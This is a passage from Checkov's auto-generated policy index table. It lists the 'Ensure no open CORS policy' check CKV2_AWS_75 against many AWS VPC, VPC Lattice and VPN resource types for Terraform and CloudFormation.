[LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5296 | CKV2_AWS_75              | resource                         | aws_vpc_dhcp_options                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5297 | CKV2_AWS_75              | resource                         | aws_vpc_dhcp_options_association                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5298 | CKV2_AWS_75              | resource                         | aws_vpc_dhcp_options_association                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5299 | CKV2_AWS_75              | resource                         | aws_vpc_endpoint                                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5300 | CKV2_AWS_75              | resource                         | aws_vpc_endpoint                                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5301 | CKV2_AWS_75              | resource                         | aws_vpc_endpoint_connection_accepter                                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5302 | CKV2_AWS_75              | resource                         | aws_vpc_endpoint_connection_accepter                                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5303 | CKV2_AWS_75              | resource                         | aws_vpc_endpoint_connection_notification                                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5304 | CKV2_AWS_75              | resource                         | aws_vpc_endpoint_connection_notification                                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5305 | CKV2_AWS_75              | resource                         | aws_vpc_endpoint_policy                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5306 | CKV2_AWS_75              | resource                         | aws_vpc_endpoint_policy                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5307 | CKV2_AWS_75              | resource                         | aws_vpc_endpoint_private_dns                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5308 | CKV2_AWS_75              | resource                         | aws_vpc_endpoint_private_dns                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5309 | CKV2_AWS_75              | resource                         | aws_vpc_endpoint_route_table_association                                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5310 | CKV2_AWS_75              | resource                         | aws_vpc_endpoint_route_table_association                                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5311 | CKV2_AWS_75              | resource                         | aws_vpc_endpoint_security_group_association                                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5312 | CKV2_AWS_75              | resource                         | aws_vpc_endpoint_security_group_association                                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5313 | CKV2_AWS_75              | resource                         | aws_vpc_endpoint_service                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5314 | CKV2_AWS_75              | resource                         | aws_vpc_endpoint_service                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5315 | CKV2_AWS_75              | resource                         | aws_vpc_endpoint_service_allowed_principal                                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5316 | CKV2_AWS_75              | resource                         | aws_vpc_endpoint_service_allowed_principal                                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5317 | CKV2_AWS_75              | resource                         | aws_vpc_endpoint_service_private_dns_verification                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5318 | CKV2_AWS_75              | resource                         | aws_vpc_endpoint_service_private_dns_verification                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5319 | CKV2_AWS_75              | resource                         | aws_vpc_endpoint_subnet_association                                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5320 | CKV2_AWS_75              | resource                         | aws_vpc_endpoint_subnet_association                                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5321 | CKV2_AWS_75              | resource                         | aws_vpc_ipam                                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5322 | CKV2_AWS_75              | resource                         | aws_vpc_ipam                                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5323 | CKV2_AWS_75              | resource                         | aws_vpc_ipam_organization_admin_account                                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5324 | CKV2_AWS_75              | resource                         | aws_vpc_ipam_organization_admin_account                                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5325 | CKV2_AWS_75              | resource                         | aws_vpc_ipam_pool                                                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5326 | CKV2_AWS_75              | resource                         | aws_vpc_ipam_pool                                                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5327 | CKV2_AWS_75              | resource                         | aws_vpc_ipam_pool_cidr                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5328 | CKV2_AWS_75              | resource                         | aws_vpc_ipam_pool_cidr                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5329 | CKV2_AWS_75              | resource                         | aws_vpc_ipam_pool_cidr_allocation                                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5330 | CKV2_AWS_75              | resource                         | aws_vpc_ipam_pool_cidr_allocation                                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5331 | CKV2_AWS_75              | resource                         | aws_vpc_ipam_preview_next_cidr                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5332 | CKV2_AWS_75              | resource                         | aws_vpc_ipam_preview_next_cidr                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5333 | CKV2_AWS_75              | resource                         | aws_vpc_ipam_resource_discovery                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5334 | CKV2_AWS_75              | resource                         | aws_vpc_ipam_resource_discovery                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5335 | CKV2_AWS_75              | resource                         | aws_vpc_ipam_resource_discovery_association                                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5336 | CKV2_AWS_75              | resource                         | aws_vpc_ipam_resource_discovery_association                                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5337 | CKV2_AWS_75              | resource                         | aws_vpc_ipam_scope                                                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5338 | CKV2_AWS_75              | resource                         | aws_vpc_ipam_scope                                                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5339 | CKV2_AWS_75              | resource                         | aws_vpc_ipv4_cidr_block_association                                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5340 | CKV2_AWS_75              | resource                         | aws_vpc_ipv4_cidr_block_association                                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5341 | CKV2_AWS_75              | resource                         | aws_vpc_ipv6_cidr_block_association                                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5342 | CKV2_AWS_75              | resource                         | aws_vpc_ipv6_cidr_block_association                                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5343 | CKV2_AWS_75              | resource                         | aws_vpc_network_performance_metric_subscription                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5344 | CKV2_AWS_75              | resource                         | aws_vpc_network_performance_metric_subscription                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5345 | CKV2_AWS_75              | resource                         | aws_vpc_peering_connection                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5346 | CKV2_AWS_75              | resource                         | aws_vpc_peering_connection                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5347 | CKV2_AWS_75              | resource                         | aws_vpc_peering_connection_accepter                                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5348 | CKV2_AWS_75              | resource                         | aws_vpc_peering_connection_accepter                                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5349 | CKV2_AWS_75              | resource                         | aws_vpc_peering_connection_options                                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5350 | CKV2_AWS_75              | resource                         | aws_vpc_peering_connection_options                                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5351 | CKV2_AWS_75              | resource                         | aws_vpc_security_group_egress_rule                                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5352 | CKV2_AWS_75              | resource                         | aws_vpc_security_group_egress_rule                                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5353 | CKV2_AWS_75              | resource                         | aws_vpc_security_group_ingress_rule                                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5354 | CKV2_AWS_75              | resource                         | aws_vpc_security_group_ingress_rule                                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5355 | CKV2_AWS_75              | resource                         | aws_vpc_security_group_vpc_association                                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5356 | CKV2_AWS_75              | resource                         | aws_vpc_security_group_vpc_association                                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5357 | CKV2_AWS_75              | resource                         | aws_vpclattice_access_log_subscription                                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5358 | CKV2_AWS_75              | resource                         | aws_vpclattice_access_log_subscription                                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5359 | CKV2_AWS_75              | resource                         | aws_vpclattice_auth_policy                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5360 | CKV2_AWS_75              | resource                         | aws_vpclattice_auth_policy                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5361 | CKV2_AWS_75              | resource                         | aws_vpclattice_listener                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5362 | CKV2_AWS_75              | resource                         | aws_vpclattice_listener                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5363 | CKV2_AWS_75              | resource                         | aws_vpclattice_listener_rule                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5364 | CKV2_AWS_75              | resource                         | aws_vpclattice_listener_rule                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5365 | CKV2_AWS_75              | resource                         | aws_vpclattice_resource_configuration                                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5366 | CKV2_AWS_75              | resource                         | aws_vpclattice_resource_configuration                                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5367 | CKV2_AWS_75              | resource                         | aws_vpclattice_resource_gateway                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5368 | CKV2_AWS_75              | resource                         | aws_vpclattice_resource_gateway                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5369 | CKV2_AWS_75              | resource                         | aws_vpclattice_resource_policy                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5370 | CKV2_AWS_75              | resource                         | aws_vpclattice_resource_policy                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5371 | CKV2_AWS_75              | resource                         | aws_vpclattice_service                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5372 | CKV2_AWS_75              | resource                         | aws_vpclattice_service                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5373 | CKV2_AWS_75              | resource                         | aws_vpclattice_service_network                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5374 | CKV2_AWS_75              | resource                         | aws_vpclattice_service_network                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5375 | CKV2_AWS_75              | resource                         | aws_vpclattice_service_network_resource_association                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5376 | CKV2_AWS_75              | resource                         | aws_vpclattice_service_network_resource_association                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5377 | CKV2_AWS_75              | resource                         | aws_vpclattice_service_network_service_association                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5378 | CKV2_AWS_75              | resource                         | aws_vpclattice_service_network_service_association                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5379 | CKV2_AWS_75              | resource                         | aws_vpclattice_service_network_vpc_association                                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5380 | CKV2_AWS_75              | resource                         | aws_vpclattice_service_network_vpc_association                                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5381 | CKV2_AWS_75              | resource                         | aws_vpclattice_target_group                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5382 | CKV2_AWS_75              | resource                         | aws_vpclattice_target_group                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5383 | CKV2_AWS_75              | resource                         | aws_vpclattice_target_group_attachment                                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5384 | CKV2_AWS_75              | resource                         | aws_vpclattice_target_group_attachment                                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5385 | CKV2_AWS_75              | resource                         | aws_vpn_connection                                                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5386 | CKV2_AWS_75              | resource                         | aws_vpn_connection                                                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5387 | CKV2_AWS_75              | resource                         | aws_vpn_connection_route            